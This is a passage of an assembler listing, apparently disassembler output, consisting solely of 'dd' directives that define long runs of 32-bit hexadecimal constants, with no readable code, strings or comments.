		dd 52C601D1h, 77A19AA4h, 20282C63h, 0F53800E2h,	13E0CEF1h
		dd 5E098D61h, 81D9BDCDh, 0EF63B314h, 2E00F832h,	4AA120Bh
		dd 212CC14Ah, 5200786Bh, 503139FAh, 2210C078h, 4986F9AAh
		dd 845DB600h, 2D6B9604h, 0EB680718h, 909DB9DDh,	6FD90D6Eh
		dd 8890DE00h, 645EA786h, 5D8A006Bh, 627F37B1h, 2002594h
		dd 933B07E1h, 43462Ah, 0DA26C0AAh, 5758A233h, 0C912A703h
		dd 0FD3B4755h, 0AAED8C00h, 0CD22D8h, 9029DEF5h,	11C52837h
		dd 30353D01h, 0EA65ADE5h, 0F677F930h, 0DCCF0078h, 0A52CB751h
		dd 0E200761Ah, 330CF274h, 0B9E52FFh, 3A2F387Eh,	0EE15C400h
		dd 1CECAC46h, 0CC044971h, 8EB6502Ch, 0C163C80h,	0BA0617CFh
		dd 44640493h, 90174921h, 21AB0CCh, 61C3CC4Ah, 0B4806CA2h
		dd 0E08370FFh, 0A110DD0Eh, 39070C2Fh, 1798393Bh, 736F1B83h
		dd 408FEE39h, 86A2D6E1h, 0E60FAC00h, 3CD41A33h,	80FC96C6h
		dd 0D1FD7D4Bh, 1D268742h, 31137C58h, 0D42D7B00h, 0BE4A7Bh
		dd 0B0A94EA4h, 7C5ECF7Fh, 0B6C20300h, 5C7A77C3h, 0A3A13C31h
		dd 0B84FF02h, 0E072AAh,	53008F3Bh, 0A6CEB00Ch, 4AF959h
		dd 93458ACBh, 0EE230E2Eh, 0FE001975h, 6CC81D9Dh, 0A18F2650h
		dd 6B7063C6h, 0BE670176h, 685B5C9Eh, 0D78270FCh, 884A0704h
		dd 38B4B0FDh, 8A6900BDh, 43ABC690h, 16000CBAh, 0B93D045h
		dd 98464Bh, 0E547FAC0h,	3D2FEF5h, 3FA2D901h, 0DC422ADFh
		dd 0B89C1020h, 7F163A84h, 2690DD80h, 0DE0B0DC8h, 1DCDAF03h
		dd 9740944h, 2040ADD8h,	27816845h, 7A8D16BAh, 3350D447h
		dd 502BB7C4h, 0C0F8F5h,	2FC869EBh, 55C650E2h, 9E272900h
		dd 85DA7F51h, 60756249h, 68406602h, 0ED0E2124h,	1B8FA53h
		dd 9B9E7BC9h, 0F002E428h, 0A8CF4791h, 4CC01600h, 4EB0F9h
		dd 7FE0B543h, 47789DD1h, 83063A39h, 0BDB60BFBh,	1D4107ACh
		dd 0D1366BD5h, 407FA9B0h, 0C1E6579Ch, 8E52720Ch, 0A058D7h
		dd 0F1C33B83h, 0EAD43E2h, 2B3C2707h, 0C27E9B8Eh, 41193642h
		dd 0C32A7C8Ch, 3858AC1Ah, 143500F0h, 63AB2C8Ch,	97702D1h
		dd 567DCF3Ch, 0ED643040h, 0F7A31A0Ah, 4887B816h, 0C940E446h
		dd 4FFAB4h, 472E67F1h, 0C3A09BAh, 0BB9F501Dh, 1985B8C0h
		dd 762BB4h, 28B1129Ah, 0B779588Fh, 9C294109h, 7B4040E9h
		dd 4F0800DEh, 96680DF0h, 85589939h, 0BFD300EFh,	0D8A2634Eh
		dd 543E006Eh, 0EAC88E3h, 0D00F2FFh, 6BBB22CBh, 17E3D51h
		dd 9D1C0BDEh, 20EEB33Bh, 497D0A40h, 0F80AC9Ch, 7872904Bh
		dd 8A4A0DFh, 0A8D1006Eh, 1BF4DC53h, 8A0ED967h, 206AF904h
		dd 72ABAF56h, 17800045h, 354CB2B4h, 5400707Ch, 96E25CA7h
		dd 16506ACDh, 423D13h, 0AE0FB718h, 78006D7Ch, 982E7F45h
		dd 3D853BFCh, 3E83DA30h, 0AF774940h, 13BD71E0h,	8751AC1Dh
		dd 0D0003697h, 94707DF0h, 5716016Ah, 3E75651Eh,	0C654D8D0h
		dd 202B4C26h, 179FAF80h, 5818BDh, 0B393FC5Ah, 1D1CB170h
		dd 4C1CB494h, 29795286h, 2477F498h, 1A74F96h, 15E1C6C8h
		dd 0D965E909h, 2342073h, 6D07CA74h, 0AA699BE0h,	0BCD84740h
		dd 0C50014Ch, 9FCF7CA7h, 0E023EDAFh, 4104EFCDh,	0BB047642h
		dd 0F5CC1480h, 6D7A00A2h, 0A7E4BDD3h, 2C00D6B0h, 230AFF77h
		dd 38124190h, 6A0044F2h, 0C2EB916Dh, 3D001AD5h,	0E81DC948h
		dd 70ACF7Ah, 7265B776h,	0E4208915h, 5FB8CD8Bh, 0D00033E0h
		dd 0F58949A6h, 0CA961Ah, 35F23BEFh, 444EBE8Fh, 0BC389300h
		dd 80B82F19h, 14900F9h,	0C4E93EDEh, 0C3F43950h,	5C00AD70h
		dd 74F76A6Dh, 6F84EEh, 418A1FA9h, 0EAADA98h, 4E31300h
		dd 24C78FF6h, 0D19B07C0h
		dd 0C17D9547h, 0E00D877Fh, 0F00FB24Fh, 8090C185h, 0AA2C5AE0h
		dd 86360046h, 28F88293h, 1100DB3Bh, 454C890Ah, 3E82B83h
		dd 9C3CD281h, 0F2C0506Eh, 100285Bh, 0F7DC212h, 558ED1h
		dd 2ECF8170h, 6095A479h, 3433B700h, 92E868C2h, 3CCC7E6Fh
		dd 8500385Fh, 0ACCF8C39h, 6C0373E2h, 98A40A22h,	7724F0EDh
		dd 0E40E0054h, 58C1F792h, 9C7DD905h, 1CD80F18h,	1C80840Ch
		dd 0C515739Dh, 0FB6352h, 0CC5FA888h, 0C0E3FA7h,	40C36A03h
		dd 0F2A6133Bh, 0F19300A2h, 0D1CBEC3Ch, 79003594h, 0BD9FE8B5h
		dd 0FFB2FBCh, 0C843D274h, 0C3C40A40h, 7A036FACh, 92ADDC8Ah
		dd 2E27F9BAh, 0F2D07181h, 0E02A9CF4h, 0E81C2D8Fh, 0EB01FD85h
		dd 2F431324h, 78766FF0h, 520231C3h, 0E0CE7E11h,	2618EE61h
		dd 19206807h, 0BD670CAFh, 6F51F5C1h, 1B38067Ch,	712330EFh
		dd 0FE4CC5h, 0D874BE6Ah, 0A61CFC02h, 92129400h,	3E57FB28h
		dd 953B0750h, 70D21A8Dh, 631C1E79h, 2A409960h, 6201069Eh
		dd 607571C5h, 7C0FB980h, 97004059h, 4788F4Ch, 0FCA8BB9Ah
		dd 6C2400D8h, 48EA7026h, 473BD720h, 2E950149h, 6B81ED36h
		dd 793A70h, 0C2E4803Eh,	668B7DF5h, 4AD40200h, 0C6635108h
		dd 0D98D003Fh, 0FB5AF47Ch, 0CE0792F5h, 0F2153B14h, 0DB65B30h
		dd 879C005Fh, 0E7A9701h, 0F7007121h, 1755D957h,	738F9B7h
		dd 4FF62A51h, 329361E7h, 69D1DC33h, 0D7242203h,	0D0B48499h
		dd 0B0A6CFh, 7E186D5Ah,	527BA5C1h, 38911300h, 333DB255h
		dd 8980080h, 0CAEE0716h, 97507E29h, 0E500CB86h,	0BD1B2A4Dh
		dd 0C02083h, 8F9B1280h,	3126F1A2h, 841A3200h, 861EB533h
		dd 0C5A800A1h, 0F9FB220Bh, 4700F71Ch, 3280ED92h, 0BAD9F03h
		dd 0CAB07AC1h, 419E9380h, 0DB0E43D9h, 0C0264B8Bh, 0CC825139h
		dd 0DD3B007Bh, 0C011DA1Ah, 0F6004487h, 953E0CECh, 10FC229h
		dd 7F8D1022h, 20AB7B57h, 353F6BABh, 8AD854h, 0FC886243h
		dd 3E251694h, 8104706Eh, 0A03F3D84h, 0DB326DE2h, 61258485h
		dd 8087BF07h, 0C0D8338Eh, 31B96EA3h, 71468C0Eh,	5142A09Dh
		dd 30F4FC2h, 0AB0BE0Dh,	0D2D03592h, 20024773h, 26A67062h
		dd 0E42C404Fh, 38DE766Bh, 8B806D3Ch, 0F5C8EED9h, 2600BB5Ch
		dd 0CE76BA60h, 12695599h, 85A13h, 5715EEF1h, 3000D927h
		dd 20F3D7C2h, 49A2DE44h, 9D0058C3h, 0F0646E8h, 59C04119h
		dd 0C84724F4h, 2F3600BFh, 8975E240h, 0CE1C053Eh, 97852DEAh
		dd 80AB78E1h, 740B6D4h,	300047E8h, 676F2035h, 58C7A2h
		dd 0F1B9FC72h, 78B15577h, 27C9B501h, 0A585985Ah, 0BFED8FAh
		dd 3A7DC063h, 66EE0E00h, 7502B518h, 341958E1h, 812B604Dh
		dd 0B6270055h, 23853764h, 0C700EBB2h, 0B38C0D7Ah, 0A9AD93h
		dd 6A550565h, 5F9D03B6h, 0FA0BD400h, 0F13673EAh, 677412DEh
		dd 0AF5C40B9h, 63E02662h, 3DDB7000h, 0E7CE3408h, 0B1E51306h
		dd 522405F5h, 0C65440CFh, 34DC2230h, 0BCDF1207h, 5CC07B25h
		dd 1E24EC96h, 0B09F4708h, 0C846C250h, 6BFCD309h, 52007756h
		dd 0BF85AF8Ch, 359A2C03h, 90E64C27h, 2E95A344h,	3702AEh
		dd 0C4D20EBEh, 0B6129C0Bh, 8000BA65h, 6A1AC778h, 0DE4B0029h
		dd 0DA88F89Bh, 77F252A2h, 286BA730h, 14B6C2FBh,	0EC9CD3EEh
		dd 4813E502h, 0BC40A6AFh, 5C00FD0Ah, 0BD1D6036h, 0E29AA791h
		dd 9D281C16h, 6C218059h, 94AA1B50h, 1EAF3207h, 0BFB4E831h
		dd 0C9490891h, 93DC58D9h, 0A8AD0013h, 0B3827FA1h, 5D48095Bh
		dd 26AA0130h, 4A5848B6h, 41C3F200h, 1801CB3Eh, 9F4887E1h
		dd 776712FBh, 523C009Dh, 0CDC2A885h, 3181BB18h,	1D68A178h
		dd 0CADD0CB5h, 0A82E02h, 4CA95D95h, 0B206376Bh,	0AE3C8733h
		dd 174600A2h, 7F1DD2BFh, 0E60229BEh, 0FA37011h,	790F605Ah
		dd 8CDB00ACh, 567E898Ah, 0D83FC1E6h, 3F930477h,	1885F236h
		dd 5B50A880h, 363F876h,	1EFCF528h, 21003D3Ch, 6659F93h
		dd 7D075Ch, 9B3AA2F9h, 3B5F7850h, 40C5AF26h, 3D7DF025h
		dd 0BA8076A6h, 0E0624202h, 79074105h, 0D86F4F6Ah, 8896BB43h
		dd 3F7FC54h, 0EE5802F0h, 34E0DF2Eh, 7E059D1Eh, 3AB6A0EFh
		dd 0E91F9000h, 3D53579Bh, 8980DDECh, 31387CAAh,	11003C7Eh
		dd 0DA7B7D1Eh, 3E77622h, 3B828136h, 89F85A3Eh, 3800BEE4h
		dd 0A5CAB465h, 0DECE6Bh, 2AEC52D4h, 6E175006h, 0E8433Bh
		dd 608E1D31h, 0E20AA2h,	0B3B5883Ch, 12C005CFh, 33352900h
		dd 7363853h, 787E1FC4h,	0AE0C4089h, 0D777A3B4h,	174FB30Fh
		dd 0CCE10099h, 789558Fh, 6A78B68Ah, 29E370A8h, 0E004E23Ah
		dd 0D08560A9h, 0E1115492h, 0F621A528h, 7A4F87ECh, 79B202BAh
		dd 0E15B6DE0h, 0E8800C4Bh, 0C2019B57h, 0FD416CC0h, 3C205C02h
		dd 9A0D022Fh, 28ED226Fh, 7C1B1840h, 9B3D34B8h, 0C1AB04C8h
		dd 6C90698Ah, 0B8D91048h, 15CB0CE4h, 0E9619DFEh, 0FC17DE00h
		dd 19CDAD4Bh, 0AC8A58A6h, 89F42A00h, 0B7D3E2EEh, 0AA8B9500h
		dd 0E71C6673h, 3EFC1CE6h, 0C11E4B02h, 0D3F7BF00h, 4D007404h
		dd 6EF4EB1Fh, 0A024BD56h, 6009A0h, 0FD860CF9h, 12C3AB66h
		dd 0BBBF4618h, 1DA48D21h, 0B974E697h, 82CC5C03h, 80FDCA5Dh
		dd 7CBC1104h, 6C5F1900h, 797D6C2h, 0D92C24EDh, 1C812439h
		dd 0DB803E9Ah, 4E67EECCh, 2000555Ah, 0FD7B94Fh,	0CBE33C6h
		dd 8CC16DA1h, 0B2009C38h, 4AFD2ABDh, 7DC9D093h,	424F1817h
		dd 7B706881h, 9528DD00h, 825EC096h, 0E0860048h,	3359E5E9h
		dd 0BA3918B7h, 0F648FB3Fh, 0BBC88054h, 0DB3405h, 71701249h
		dd 0DD924B0Dh, 0C2BD0B00h, 6DEB4C63h, 3921394Dh, 0FBE02800h
		dd 0FEB2AAE1h, 82A53600h, 0D1CB81Ah, 0B6330EE7h, 0ABC791DEh
		dd 698660A7h, 9D01C946h, 1521C8D0h, 663084F6h, 8A7D7Eh
		dd 0FAD16B72h, 7CD853E3h, 5BD58F02h, 80AE6550h,	0F442EF8Eh
		dd 0BE850FA9h, 0D980BBA5h, 5CD1C637h, 0F3A65000h, 2A3EFEDCh
		dd 34DA00CFh, 0FDC78AEFh, 3B013DFAh, 0E4272294h, 6BF17174h
		dd 53A470h, 7F602C75h, 98DF7BAFh, 0EE639F01h, 7BC2068h
		dd 7A2464h, 0E27B8B35h,	7078CF6Eh, 0DC7C1C2Dh, 0E42C09C2h
		dd 204D6407h, 0ED4810BDh, 2267BB00h, 70B9CF32h,	567EB2h
		dd 1C4E3504h, 0FDA023DDh, 0DFD24400h, 0F7678EF4h, 19D7007Eh
		dd 0DC51C7EFh, 9D004333h, 0FA2FE674h, 7E9C135h,	0B6344AC5h
		dd 0E7CF73ACh, 0C4600BAAh, 0E0E1DF24h, 11C88B21h, 3DA604F7h
		dd 117009Ch, 19DED1h, 875DD23Ch, 0F08248AEh, 1C9B8500h
		dd 1ED680AAh, 6BDA2003h, 8DFA051Fh, 3533C7Ch, 800F38B2h
		dd 5269883Ch, 238B3F10h, 0EC0BB180h, 19E39BC3h,	0A497FB00h
		dd 9AA2405h, 782160D3h,	54F5D9A0h, 502C1B00h, 96919563h
		dd 4C400F9h, 3DC30EDCh,	18965ED0h, 95690F80h, 94D9BA05h
		dd 244F80F4h, 61DDB3DCh, 980FCA00h, 1AD79406h, 0ACFA0137h
		dd 8797704Dh, 0C7CC288Eh, 72903EA2h, 3A9F135h, 132AA42Fh
		dd 0D0F92023h, 0C75B20C0h, 2C0A721Dh, 49312240h, 7DC11Ah
		dd 69D23BEBh, 19247AF5h, 860909ECh, 4BC14h, 8C6DFCC4h
		dd 0D644002Dh, 0ABF8BF8Bh, 0D8E0D112h, 1BB6862Eh, 0C4D03E00h
		dd 4F3BE3h, 0BCD7C90Dh,	5377B79Dh, 0E154EB24h, 15551400h
		dd 385D7DF5h, 508E2A2Fh, 8AE0CFFAh, 52DF4920h, 36433005h
		dd 1B808696h, 88B7Bh, 4610B7E2h, 0FB2C48A7h, 0FA3CCC73h
		dd 0DCF2056Ch, 0FD00F5C1h, 0D1DA51A8h, 849807h,	68DE1076h
		dd 0B28BC4A9h, 30622500h
		dd 3CE556AEh, 6880044h,	0D6CCE47Dh, 3EECFC71h, 0E7E29003h
		dd 9F444907h, 41A86950h, 5E92005Ah, 32BB8817h, 80272633h
		dd 0F09413F8h, 0E67C8h,	8A123AFBh, 0DF6648Dh, 0CF33B300h
		dd 0BD4F3C6Fh, 0A9A00A3h, 8052DBB4h, 0ED0E51CEh, 0B7D74E39h
		dd 60875300h, 0A105FCh,	0F415CAE3h, 9471C296h, 72E13500h
		dd 0F2E52C9Fh, 7A2F002Eh, 0F90C9E50h, 62002DB0h, 0B293E3A5h
		dd 43565Ch, 1C39F578h, 91EB5CDh, 0D4011FE0h, 0C40FA2A8h
		dd 33C44912h, 0E870076Eh, 7397A396h, 4288C6BAh,	7CB85F9Fh
		dd 1F6CDC00h, 0A65D69FCh, 0C5470059h, 851EB44Bh, 26009974h
		dd 7D782EBh, 0FA1B2Eh, 0AFB58427h, 47F661CDh, 0CA00ADE8h
		dd 0F20524E4h, 768A42Ah, 19BDD701h, 0D921034Bh,	9793FC8h
		dd 0C0AFAA2Eh, 0CA23A000h, 161B7C8Ch, 50881349h, 0D1216868h
		dd 1C09694h, 0DC2CE751h, 7CE53323h, 0E420EC75h,	9DB03873h
		dd 0B02FACh, 0B08952Eh,	60057B7h, 7724B3E5h, 59EF94h, 0B2AEEB1Dh
		dd 743FB132h, 4498FF0Fh, 0F59CE0ADh, 2D4FE4h, 45E10388h
		dd 5EA2F705h, 0E0410A01h, 240CEC9Bh, 9340DFE6h,	0E300F51Dh
		dd 0B8ACFD42h, 1F7266BAh, 40C51A9Dh, 93DB247Ch,	3101C1A9h
		dd 0F0519438h, 0D5FC8D3Bh, 7CEB70E8h, 92CF163Ch, 0F00EFFAFh
		dd 7F3D00F6h, 0B933984h, 8B48EAE5h, 0A841BA03h,	0F7E89B98h
		dd 0B64FCC00h, 2FAECECFh, 960707BEh, 0B0BB14BFh, 9A445136h
		dd 0E071FB13h, 1F328600h, 187675Ah, 49D74276h, 0D3059A5Bh
		dd 14E5FBF8h, 0C50C100h, 301BBBB7h, 0B1430074h,	67847F9h
		dd 0FE00EA93h, 22363E52h, 8009A0h, 816CAA0Eh, 0DDBD1273h
		dd 85005A73h, 3A7CD9C9h, 770A382Dh, 0C34C3DF5h,	5364E501h
		dd 0E49625D7h, 1C00861Dh, 2F59A251h, 0D9B96Fh, 0B41E4082h
		dd 301910FDh, 451AF900h, 0D8496BEBh, 0ED9B004Eh, 5E7B0EC3h
		dd 2F00A325h, 52DCDD40h, 14FA01Dh, 0CFA537EFh, 2003F041h
		dd 3A656E26h, 0A04F9CC8h, 0D3B26054h, 361FAEh, 3B8945Fh
		dd 0FCEB6484h, 49144401h, 8F7D1A61h, 12B3CBE0h,	40ED9E32h
		dd 4A89FB00h, 2D733DE6h, 0F96B1D00h, 53163011h,	0AE70012h
		dd 0B7CD6A65h, 40058931h, 73F5F957h, 53FA400h, 70F2D6DAh
		dd 7089008h, 80491719h,	5939F0B8h, 4E00FD46h, 0AD358C53h
		dd 39FF7BDh, 3EE762CDh,	68008AEAh, 5B2D1374h, 0EC7750F2h
		dd 1F70005Dh, 735CAF7Bh, 924F760h, 18031C04h, 0A78017E4h
		dd 3E53A1A0h, 0E7311994h, 40C42119h, 1F832E85h,	69BFA200h
		dd 67F56285h, 0EE110068h, 3F9003E1h, 18009819h,	934991E5h
		dd 0E4D06Dh, 0F881046Eh, 0EB0E771Bh, 67BBE00h, 0D32D9205h
		dd 0C5B80089h, 94D45831h, 833EFAADh, 3A3B0116h,	0D127C718h
		dd 0F7AE30h, 79235577h,	0F0AD846h, 0B77E7500h, 455CD381h
		dd 3B7F0024h, 1729B3B2h, 0EF1F6412h, 50496F83h,	9A370003h
		dd 3B1DFBCDh, 0F68F192Ch, 849CC061h, 90812B91h,	230B8A60h
		dd 28C33530h, 7CAFE551h, 62F10BD3h, 800B006h, 2F90A025h
		dd 982E1400h, 7A7CBE10h, 0A287037Dh, 3F831375h,	0ACD379F8h
		dd 8B9B3500h, 70B39098h, 0E3C90E50h, 5580F7CEh,	0B7111032h
		dd 4300DA72h, 1CC789D9h, 0B1D1D4h, 0C3F478E2h, 23547B6Fh
		dd 959CD1Fh, 94C50106h,	0EBAB0040h, 0C07AF46Ah,	1400317Bh
		dd 7E137CB3h, 2A31243h,	4DBE9F4Fh, 5868266Fh, 241D5303h
		dd 80BFED75h, 7B847C27h, 701FA2B0h, 29A90089h, 61EEF971h
		dd 57242641h, 94006446h, 0FE47E133h, 0E34F006Fh, 0ADDE2F40h
		dd 20FB8CABh, 51EC4A34h, 1CF47F00h, 0CEAE2BDCh,	79C664E5h
		dd 0A994C0A0h, 0FC003890h, 7E60D294h, 0FE1CFDh,	956BAC87h
		dd 1A22D525h, 1D00F7F8h, 72C158AEh, 761CBDC5h, 0F8A2002Ch
		dd 63788577h, 4B00DCACh, 0F41790DFh, 0D49934h, 0FB84B811h
		dd 7E8A9115h, 0E28100Ah, 0D80EA759h, 18908C5Dh,	0AB1A2803h
		dd 6EDA00C8h, 0CDB98402h, 92006A34h, 1A9EF4D1h,	6D8222h
		dd 9A775346h, 6AB30BEh,	5889C707h, 1F81DAD2h, 0EBC8FF8Ch
		dd 8213960h, 0AF574881h, 0E099779Ah, 0DE00B6A5h, 0AD67E8FBh
		dd 4774C7h, 0C3E1F002h,	0E96B0E81h, 8B89A026h, 0EFD24601h
		dd 25E4D170h, 8FFD03AEh, 0E0D4F996h, 0F4749DA0h, 8BDE3900h
		dd 2B17616Eh, 4B150053h, 1D71EE32h, 1E775B9Ah, 0E8141B00h
		dd 3764CE16h, 926901DEh, 0AF3E7CBCh, 234160ACh,	0E8A48A1Eh
		dd 0F127EF82h, 93B848EBh, 0CBA500B0h, 1A55168Bh, 4D06A2D1h
		dd 0D2377A2Bh, 65BB0348h, 8D74F53Dh, 0DEA5FA8h,	0D1A29360h
		dd 770E167Dh, 9BAF00F0h, 1B9ED3DEh, 407CF17Bh, 3D4990F2h
		dd 67820304h, 0F7514EDBh, 58F240BFh, 0E9B7C0h, 6FE04CA2h
		dd 18E876EBh, 23B26601h, 0EF59B19Ch, 6D24980h, 0A71D27DAh
		dd 0C7AEC01Eh, 0F31F38C1h, 6080AD7Eh, 70272E43h, 2B00B229h
		dd 0AC533C10h, 4C651F76h, 3009FCEFh, 0B0A17273h, 60AD6AF5h
		dd 651D1CBEh, 39005F46h, 0B140EED1h, 10FF6044h,	1B379953h
		dd 53021C3h, 0A0410070h, 0F5FB7DB5h, 0EC18AD7Ch, 32E9586Ch
		dd 66441CC0h, 0F3FB45B5h, 0B250007Ch, 2E06126Bh, 406048CCh
		dd 0EDBD000Eh, 98E9BBDAh, 900EC394h, 41A47840h,	0ADB98886h
		dd 0E2AB8EC0h, 0A52830E9h, 602F3E90h, 0C9C3D100h, 0C2767258h
		dd 0E4E00E2h, 0E147E5B0h, 41074DB1h, 84DE19CBh,	1FAF7DC0h
		dd 0E96E0046h, 0C99D4ADAh, 0F4FD966Bh, 0D607602Ch, 0D90BDD2Bh
		dd 7FC07930h, 88EC53h, 1EE085BBh, 26862191h, 29E37000h
		dd 366B2C1Fh, 66D8C7DAh, 0B247A3C3h, 14A5CA90h,	4332638h
		dd 3251F970h, 9C72B181h, 5B1DDCh, 7E0797FAh, 0A48D6086h
		dd 0C5CE2260h, 7B3589CCh, 20160056h, 197E8224h,	6B007618h
		dd 0E241C064h, 309B9Eh,	0A0B73755h, 0DCEAF850h,	963BAF04h
		dd 0A682165Bh, 6C007F0Ch, 270B940h, 900068E2h, 50C69589h
		dd 145844h, 9ADF157Dh, 0BCFC963Fh, 3D115A1Dh, 0C5337F01h
		dd 6C300E8Eh, 0B2A601F8h, 74AD8999h, 0BEA9CCD4h, 4E20C500h
		dd 154279Fh, 5DD200DCh,	48E8AE40h, 4B1D4DDBh, 81C0A7A6h
		dd 0B5BE65F0h, 0D97155h, 6891E23h, 0FE32178Fh, 5058CE0Eh
		dd 35C48037h, 1E612E9Fh, 0C01D2FE8h, 52BED1FFh,	632C8AA8h
		dd 1E00CC7Fh, 32B9B499h, 7C0D0595h, 3E41DEh, 67643AC0h
		dd 9402EF78h, 8CE68FDh,	0B1F0602Dh, 0BCCD4A6Bh,	20187818h
		dd 0D518284Dh, 0F56016Dh, 8C9710C1h, 0A12ED862h, 6354AD00h
		dd 56D967C4h, 0D1233827h, 8060B724h, 26370651h,	58711DAFh
		dd 4ED3D003h, 0D09EF357h, 2E3C6BFFh, 0BCE568h, 0E7365A37h
		dd 0A30ED717h, 0E31E00Fh, 75D6B80h, 0A0AB0B45h,	156BE994h
		dd 0CC2D0044h, 5C72A58Ch, 0DE1FF01Ch, 7740BE91h, 2A6D2627h
		dd 8B3B18A8h, 0BACD60E4h, 7E069D00h, 9F8EE387h,	142C0122h
		dd 7C92B1ABh, 348C67E4h, 0A8844452h, 2EBF80C1h,	0A2652B00h
		dd 230DE000h, 2D37ABAEh, 0B4551835h, 5C956932h,	59A1F807h
		dd 44C06390h, 267CC83Fh, 74C3C54h, 0E07EEDDAh, 0DE75BD6Bh
		dd 97F33E00h, 48DBB1A3h, 244E07C6h, 0F00235D4h,	1F7C030Dh
		dd 90399C02h, 0E811ABE6h, 4EC93Ch, 63A3C578h, 0B6FF51A6h
		dd 7A1BDC00h, 2C3DB7CDh, 8C2D00DFh, 7A8FB80h, 0E03B8718h
		dd 2BF18050h, 683930B6h, 0CD7224h, 126920D0h, 3CA573B2h
		dd 2DF860F6h, 56F95709h, 3F7080A3h, 28BE38EBh, 984EF01h
		dd 0D29C1BE1h
		dd 0FB637C48h, 0B9924B01h, 9B55506Dh, 0C975D0h,	472B0828h
		dd 0A6DBAAD2h, 9000F079h, 0B82F38CBh, 0F439B2h,	4919F1Dh
		dd 463F8E8Fh, 0EF9B691Fh, 0A88054h, 0E4C841F4h,	0BC4C51Fh
		dd 1E970AFDh, 0EAAC24A0h, 7F00A69Ah, 0F3BBB728h, 4253CB4h
		dd 900C14D4h, 0B54490B0h, 0A700B831h, 7EBE553h,	1C951CB2h
		dd 80996FFFh, 52BD9B9Fh, 6400C7D8h, 53B73898h, 0F8890Fh
		dd 424D8513h, 1CC3746Ah, 52E75D00h, 0A0BF5B24h,	362809FCh
		dd 45200A14h, 1271DF5h,	31F07A0Eh, 34DE4181h, 356102DDh
		dd 0BD32860h, 0C268BBAAh, 781170Fh, 28A4AF4Bh, 0F6848004h
		dd 0E98D581h, 0C0EB6051h, 11BC8243h, 443F17E8h,	0AE97010Ch
		dd 9C9550F1h, 0E3B90008h, 0FB878926h, 80032F0h,	0D0B2E7Ah
		dd 0E2D7E86Ch, 0CB640A07h, 81E8DB84h, 1E892BDEh, 0CE5C248Eh
		dd 0E79BB1Eh, 8BFE1171h, 0F0F0F7DCh, 614C26D6h,	0C8E10096h
		dd 0AA4197A5h, 27949109h, 6150401Fh, 1A2100AEh,	9FEE6052h
		dd 3913FDB6h, 8000B8C7h, 2E3A53BFh, 0D0B8AFh, 0C4BC2D58h
		dd 1F986119h, 60F56824h, 6E271400h, 0BD383Bh, 1C1F179h
		dd 0A2197BAEh, 5291BF04h, 8080758Eh, 0FC590936h, 0AC1F0989h
		dd 0E787D473h, 84E9F0A1h, 0AB00DC33h, 387D865h,	5C4920D1h
		dd 0AE0018E5h, 1AEDC039h, 1E17ECF7h, 9C0045B9h,	847F36A9h
		dd 26747D99h, 80E81A40h, 5B7A752Ah, 0A307A7CCh,	0A697B772h
		dd 0C7771890h, 8FE800D8h, 7F69BDCAh, 83009E6Ch,	1B6FED97h
		dd 38AA1FF7h, 6836142h,	708BBFF8h, 0EA981800h, 5CF2E7B0h
		dd 0A9834CC3h, 0C786923Ah, 0E0767AC5h, 33010AFEh, 9BEE8FB0h
		dd 7C317F39h, 851BF0h, 5CCBF987h, 3C6A7E74h, 2A000179h
		dd 429FD3Bh, 0E04D3586h, 31530305h, 0A5E7CB99h,	0F45E4AF0h
		dd 0BE97112h, 8C9D180Eh, 3A092854h, 0B730BA2Ah,	0F7B30139h
		dd 0FB6A6800h, 76A1662Dh, 7B9000BCh, 2A56BEEh, 3BFA95C1h
		dd 0AA00F974h, 8A2866CDh, 180A80h, 53FD4F05h, 0BFFAF827h
		dd 30D7080Fh, 911806Ch,	0F107D2h, 0B27D8248h, 85ADECEAh
		dd 95BD151Ch, 0AF59B080h, 286531Eh, 0B2179BBEh,	59E0E836h
		dd 0BA00A49Fh, 0DD0D2C2Bh, 0D0F89Ch, 0DCF96DBCh, 0A22759AEh
		dd 0B94B5400h, 7C6449BAh, 388500C3h, 0ED011619h, 0AC002AFCh
		dd 968C4E55h, 0F7E871h,	4672612h, 0D55D34C6h, 686DA700h
		dd 19CE2257h, 18E83990h, 0A9986080h, 0FBAC952Ch, 5981A100h
		dd 0C80934ABh, 0F77703h, 0F0D4DF74h, 8A894CA7h,	383E961Eh
		dd 80183509h, 7E8C2530h, 40A900B5h, 0CF2270B4h,	6900ED65h
		dd 0CC766E55h, 13275h, 0F00D72CDh, 0EBC73AEFh, 9BF78700h
		dd 2A35AA2h, 0EEE642h, 0E381B62Fh, 99ED9E7Eh, 0CA91E802h
		dd 40C5E762h, 3998E648h, 0D0130817h, 0F39D006Dh, 9F06958Ch
		dd 0A3039D71h, 0D95C16F4h, 97C83F67h, 0E2F5FB00h, 71BCA22Fh
		dd 424AB97Eh, 5205C40h,	3D4311Bh, 0AF814F83h, 0E283B6EBh
		dd 0C1A900D7h, 570049C9h, 12B4059Eh, 0F4095h, 0DC9CC35Ah
		dd 0D8190AC5h, 73680101h, 803CB19Eh, 1E743AF0h,	6FB7DCAh
		dd 1039292Ch, 67B88540h, 80B521D9h, 7179DD69h, 4C97274Ch
		dd 46FE0259h, 400521DEh, 0D7412Ch, 99F3329Eh, 423B257Ch
		dd 5B0764F8h, 0F4817E0Fh, 4A4035C1h, 4A3139F4h,	0C1D81FFAh
		dd 10C5301Ch, 74E8803Ch, 0AA464C1Ah, 75098CAh, 0BC8D14DDh
		dd 7021ED36h, 0B3410BC0h, 146C434h, 47DE1CE7h, 41EEB2D0h
		dd 402FBC0Ch, 0FBA5D81Ch, 0F46B0800h, 5960ABD9h, 98FF286h
		dd 61DD0937h, 0CB756401h, 0C0F4C774h, 63A9186Ch, 99009290h
		dd 0FD7D54Bh, 7972EEDh,	5B4D12A8h, 5ADC802Dh, 0C9000277h
		dd 0A6D3E815h, 1E0B5EC5h, 81DD428Bh, 0DA7AA535h, 70C1CEC0h
		dd 0C218F889h, 616E4600h, 43372EEh, 54A0001Dh, 2D6007EFh
		dd 0ED0305B6h, 85E5CE01h, 0C4409851h, 249D0EE4h, 0BD60EACFh
		dd 46B3A75Bh, 53C57100h, 0F0E9A407h, 2450086h, 209E9A93h
		dd 0E5001833h, 46B85EC0h, 705BF37Eh, 0CC1F1DA6h, 40ED8071h
		dd 0CB4E8EC7h, 0F47CD572h, 0A2664F00h, 2049D816h, 0DE5D3A2Ah
		dd 0B2C0FC02h, 0AC6015DBh, 0BE00B851h, 44BF4073h, 5DC67Ch
		dd 0E2542A70h, 0DB3D64ADh, 9EC34673h, 0C917DAFEh, 0E13128EEh
		dd 9D421FE0h, 660071D8h, 4D163B8Fh, 797ABC72h, 0D7800DDh
